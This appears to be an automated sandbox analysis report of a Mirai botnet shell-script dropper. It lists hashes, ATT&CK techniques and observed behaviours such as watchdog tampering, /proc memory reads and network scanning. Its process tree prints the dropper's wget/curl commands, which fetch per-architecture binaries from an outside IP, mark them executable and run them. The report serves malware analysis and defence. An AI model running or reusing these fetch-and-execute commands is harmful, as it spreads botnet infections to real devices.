mirai | 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
08/03/2025, 08:41

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General

Target

6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
Size

1KB
MD5

c46ce91068e77aa58bd2127bec2ee6c3
SHA1

fced6e9a98cb1fd8b568f7698dbf1b4e1e4231d5
SHA256

6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a
SHA512

ace2a1517ff4dceb812a495e8f5d5a4bbec6825964ffca84b076f57610ed09232b3ad76e995fd83ba121d4a36f82acb0136f27da8d4fc272bd083ac1d8e3e7e9

Score

10^/10

mirai botnet botnet credential_access defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Extracted

Family

mirai

Botnet

BOTNET

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (165908) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
779	chmod
789	chmod
810	chmod
826	chmod
832	chmod
737	chmod
751	chmod
801	chmod
819	chmod
731	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/ssh	732	6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
/tmp/ssh	738	6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
/tmp/ssh	753	6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
/tmp/ssh	780	6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
/tmp/ssh	790	6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
/tmp/ssh	802	6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
/tmp/ssh	811	6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
/tmp/ssh	820	6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
/tmp/ssh	827	6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
/tmp/ssh	833	6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	ssh
File opened for modification	/dev/misc/watchdog	ssh

Renames itself 1 IoCs

pid	Process
753	ssh

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	202.61.197.122

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	ssh

Enumerates running processes
Discovers information about currently running processes on the system

Reads process memory 1 TTPs 64 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/782/maps	ssh
File opened for reading	/proc/795/maps	ssh
File opened for reading	/proc/809/maps	ssh
File opened for reading	/proc/841/maps	ssh
File opened for reading	/proc/793/maps	ssh
File opened for reading	/proc/812/maps	ssh
File opened for reading	/proc/850/maps	ssh
File opened for reading	/proc/770/maps	ssh
File opened for reading	/proc/776/maps	ssh
File opened for reading	/proc/784/maps	ssh
File opened for reading	/proc/787/maps	ssh
File opened for reading	/proc/789/maps	ssh
File opened for reading	/proc/840/maps	ssh
File opened for reading	/proc/842/maps	ssh
File opened for reading	/proc/847/maps	ssh
File opened for reading	/proc/786/maps	ssh
File opened for reading	/proc/800/maps	ssh
File opened for reading	/proc/811/maps	ssh
File opened for reading	/proc/827/maps	ssh
File opened for reading	/proc/854/maps	ssh
File opened for reading	/proc/798/maps	ssh
File opened for reading	/proc/833/maps	ssh
File opened for reading	/proc/769/maps	ssh
File opened for reading	/proc/808/maps	ssh
File opened for reading	/proc/829/maps	ssh
File opened for reading	/proc/773/maps	ssh
File opened for reading	/proc/805/maps	ssh
File opened for reading	/proc/817/maps	ssh
File opened for reading	/proc/823/maps	ssh
File opened for reading	/proc/815/maps	ssh
File opened for reading	/proc/774/maps	ssh
File opened for reading	/proc/785/maps	ssh
File opened for reading	/proc/814/maps	ssh
File opened for reading	/proc/796/maps	ssh
File opened for reading	/proc/813/maps	ssh
File opened for reading	/proc/822/maps	ssh
File opened for reading	/proc/844/maps	ssh
File opened for reading	/proc/858/maps	ssh
File opened for reading	/proc/792/maps	ssh
File opened for reading	/proc/835/maps	ssh
File opened for reading	/proc/838/maps	ssh
File opened for reading	/proc/772/maps	ssh
File opened for reading	/proc/818/maps	ssh
File opened for reading	/proc/852/maps	ssh
File opened for reading	/proc/855/maps	ssh
File opened for reading	/proc/860/maps	ssh
File opened for reading	/proc/802/maps	ssh
File opened for reading	/proc/803/maps	ssh
File opened for reading	/proc/804/maps	ssh
File opened for reading	/proc/836/maps	ssh
File opened for reading	/proc/846/maps	ssh
File opened for reading	/proc/781/maps	ssh
File opened for reading	/proc/783/maps	ssh
File opened for reading	/proc/788/maps	ssh
File opened for reading	/proc/794/maps	ssh
File opened for reading	/proc/806/maps	ssh
File opened for reading	/proc/816/maps	ssh
File opened for reading	/proc/821/maps	ssh
File opened for reading	/proc/856/maps	ssh
File opened for reading	/proc/824/maps	ssh
File opened for reading	/proc/831/maps	ssh
File opened for reading	/proc/799/maps	ssh
File opened for reading	/proc/780/maps	ssh
File opened for reading	/proc/807/maps	ssh

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	systemd	753	ssh

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	ssh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/221/status	ssh
File opened for reading	/proc/806/cmdline	ssh
File opened for reading	/proc/862/cmdline	ssh
File opened for reading	/proc/18/comm	ssh
File opened for reading	/proc/75/comm	ssh
File opened for reading	/proc/367/comm	ssh
File opened for reading	/proc/694/comm	ssh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/17/comm	ssh
File opened for reading	/proc/19/comm	ssh
File opened for reading	/proc/24/comm	ssh
File opened for reading	/proc/221/comm	ssh
File opened for reading	/proc/340/comm	ssh
File opened for reading	/proc/421/status	ssh
File opened for reading	/proc/792/cmdline	ssh
File opened for reading	/proc/74/comm	ssh
File opened for reading	/proc/369/comm	ssh
File opened for reading	/proc/378/status	ssh
File opened for reading	/proc/772/cmdline	ssh
File opened for reading	/proc/805/cmdline	ssh
File opened for reading	/proc/835/cmdline	ssh
File opened for reading	/proc/844/cmdline	ssh
File opened for reading	/proc/3/comm	ssh
File opened for reading	/proc/146/comm	ssh
File opened for reading	/proc/666/comm	ssh
File opened for reading	/proc/146/status	ssh
File opened for reading	/proc/754/status	ssh
File opened for reading	/proc/803/cmdline	ssh
File opened for reading	/proc/855/cmdline	ssh
File opened for reading	/proc/21/comm	ssh
File opened for reading	/proc/71/comm	ssh
File opened for reading	/proc/705/comm	ssh
File opened for reading	/proc/670/status	ssh
File opened for reading	/proc/12/comm	ssh
File opened for reading	/proc/76/comm	ssh
File opened for reading	/proc/679/status	ssh
File opened for reading	/proc/769/cmdline	ssh
File opened for reading	/proc/808/cmdline	ssh
File opened for reading	/proc/824/cmdline	ssh
File opened for reading	/proc/23/comm	ssh
File opened for reading	/proc/11/comm	ssh
File opened for reading	/proc/5/comm	ssh
File opened for reading	/proc/9/comm	ssh
File opened for reading	/proc/22/comm	ssh
File opened for reading	/proc/310/status	ssh
File opened for reading	/proc/694/status	ssh
File opened for reading	/proc/783/cmdline	ssh
File opened for reading	/proc/15/comm	ssh
File opened for reading	/proc/72/comm	ssh
File opened for reading	/proc/84/comm	ssh
File opened for reading	/proc/679/comm	ssh
File opened for reading	/proc/672/status	ssh
File opened for reading	/proc/787/cmdline	ssh
File opened for reading	/proc/809/cmdline	ssh
File opened for reading	/proc/812/cmdline	ssh
File opened for reading	/proc/13/comm	ssh
File opened for reading	/proc/150/comm	ssh
File opened for reading	/proc/341/status	ssh
File opened for reading	/proc/369/status	ssh
File opened for reading	/proc/820/cmdline	ssh
File opened for reading	/proc/822/cmdline	ssh
File opened for reading	/proc/829/cmdline	ssh
File opened for reading	/proc/848/cmdline	ssh
File opened for reading	/proc/14/comm	ssh

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
734	wget
735	curl
736	cat

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jklmpsl	curl
File opened for modification	/tmp/jklarm4	curl
File opened for modification	/tmp/jklx86	wget
File opened for modification	/tmp/ssh	6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
File opened for modification	/tmp/jklmips	wget
File opened for modification	/tmp/jklmips	curl
File opened for modification	/tmp/jklmpsl	wget
File opened for modification	/tmp/jklx86	curl

/tmp/6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
/tmp/6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:702
- /usr/bin/wget
  wget http://176.65.134.5/jklx86
  2⤵
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://176.65.134.5/jklx86
  2⤵
  - Writes file to tmp directory
  PID:729
- /bin/cat
  cat jklx86
  2⤵
  PID:730
- /bin/chmod
  chmod +x 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh jklx86 ssh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-svRD67
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:732
- /usr/bin/wget
  wget http://176.65.134.5/jklmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /usr/bin/curl
  curl -O http://176.65.134.5/jklmips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /bin/cat
  cat jklmips
  2⤵
  - System Network Configuration Discovery
  PID:736
- /bin/chmod
  chmod +x 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh jklmips jklx86 ssh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-svRD67
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:738
- /usr/bin/wget
  wget http://176.65.134.5/jklmpsl
  2⤵
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://176.65.134.5/jklmpsl
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/cat
  cat jklmpsl
  2⤵
  PID:750
- /bin/chmod
  chmod +x 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh jklmips jklmpsl jklx86 ssh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-svRD67
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/ssh
  ./ssh ssh
  2⤵
  - Modifies Watchdog functionality
  - Renames itself
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:753
- /usr/bin/wget
  wget http://176.65.134.5/jklarm4
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm4
  2⤵
  - Writes file to tmp directory
  PID:765
- /bin/cat
  cat jklarm4
  2⤵
  PID:777
- /bin/chmod
  chmod +x 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh jklarm4 jklmips jklmpsl jklx86 ssh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-svRD67
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:780
- /usr/bin/wget
  wget http://176.65.134.5/jklarm5
  2⤵
  PID:782
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm5
  2⤵
  PID:783
- /bin/cat
  cat jklarm5
  2⤵
  PID:787
- /bin/chmod
  chmod +x 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh jklarm4 jklmips jklmpsl jklx86 ssh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-svRD67
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:790
- /usr/bin/wget
  wget http://176.65.134.5/jklarm6
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm6
  2⤵
  PID:795
- /bin/cat
  cat jklarm6
  2⤵
  PID:799
- /bin/chmod
  chmod +x 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh jklarm4 jklmips jklmpsl jklx86 ssh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-svRD67
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:802
- /usr/bin/wget
  wget http://176.65.134.5/jklarm7
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm7
  2⤵
  PID:807
- /bin/cat
  cat jklarm7
  2⤵
  PID:808
- /bin/chmod
  chmod +x 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh jklarm4 jklmips jklmpsl jklx86 ssh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-svRD67
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:811
- /usr/bin/wget
  wget http://176.65.134.5/jklppc
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://176.65.134.5/jklppc
  2⤵
  PID:816
- /bin/cat
  cat jklppc
  2⤵
  PID:818
- /bin/chmod
  chmod +x 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh jklarm4 jklmips jklmpsl jklx86 ssh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-svRD67
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:820
- /usr/bin/wget
  wget http://176.65.134.5/jklm68k
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://176.65.134.5/jklm68k
  2⤵
  PID:823
- /bin/cat
  cat jklm68k
  2⤵
  PID:824
- /bin/chmod
  chmod +x 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh jklarm4 jklmips jklmpsl jklx86 ssh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-svRD67
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:827
- /usr/bin/wget
  wget http://176.65.134.5/jklsh4
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://176.65.134.5/jklsh4
  2⤵
  PID:830
- /bin/cat
  cat jklsh4
  2⤵
  PID:831
- /bin/chmod
  chmod +x 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a.sh jklarm4 jklmips jklmpsl jklx86 ssh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-svRD67
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:833

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/jklarm4

Filesize
205B

MD5
fccd0deca96f1630531d355bdb90afae

SHA1
7b66856c4727953f5c23e898f574fd40bb3d3e33

SHA256
59be92959718afe8ed8ffe7009ae6530344385f67eb72791e8e37f52643cc27b

SHA512
cf80d05129a7c4a5ec44d167f1e6fe22a104238502456122d3aa72b711d92d008e016bd898ea23d79e28d8a1398b1a1d365db0b80d799cc74c46f9f169643b48

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/tmp/jklmips

Filesize
74KB

MD5
531a60e53317c7bf134e5c6e57fc4939

SHA1
6069b3cb94084ec8bfad12f20a7fc992835e329d

SHA256
9c8fa144a9688475d367bf19f455fa2efcede7219a41cf77484cabe788e17fe9

SHA512
f19ca0527fb858aff4da9f864f1fad8433cc229b8ffabec4fd559a3af4a3fe3d71213a913067a6fea4314b75881ebbe5a8d24408cd8199a3ed54b15725c7505e

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/tmp/jklmpsl

Filesize
74KB

MD5
d0667fe1aa667917ae32b2844024eba7

SHA1
6a4c65c673dd99d8c291aa343beb35f345c35def

SHA256
0d41d41efa67611f4721c465f81060f1d4c096eda88b72c0db43f104329afcb6

SHA512
9ff84ed51e53c77d228cd54fab728335c2d658006667c46db1da04c70e97444d47bf5ac6f87e4e4d812430bcca3c44e3ce186d1b604443b6de10bf5367699908

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/tmp/jklx86

Filesize
49KB

MD5
ecd1b914d0248a8174d1f5ef567e2227

SHA1
c5ba0731a7b3236db4b8443b6be4f2f07d5ed6e5

SHA256
adc70485dbae6ab79f9083ff5f96da2fece8b5922f0f5d0757d1c366285bfab6

SHA512
9e25c305fa81ce9c4f715d6bc746fae810bc255d7e3d10017242864c4c04923644e86fce42b16c0638a06eb44aa8abec2681d944670dd22d69ac4d0cebbe979f

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads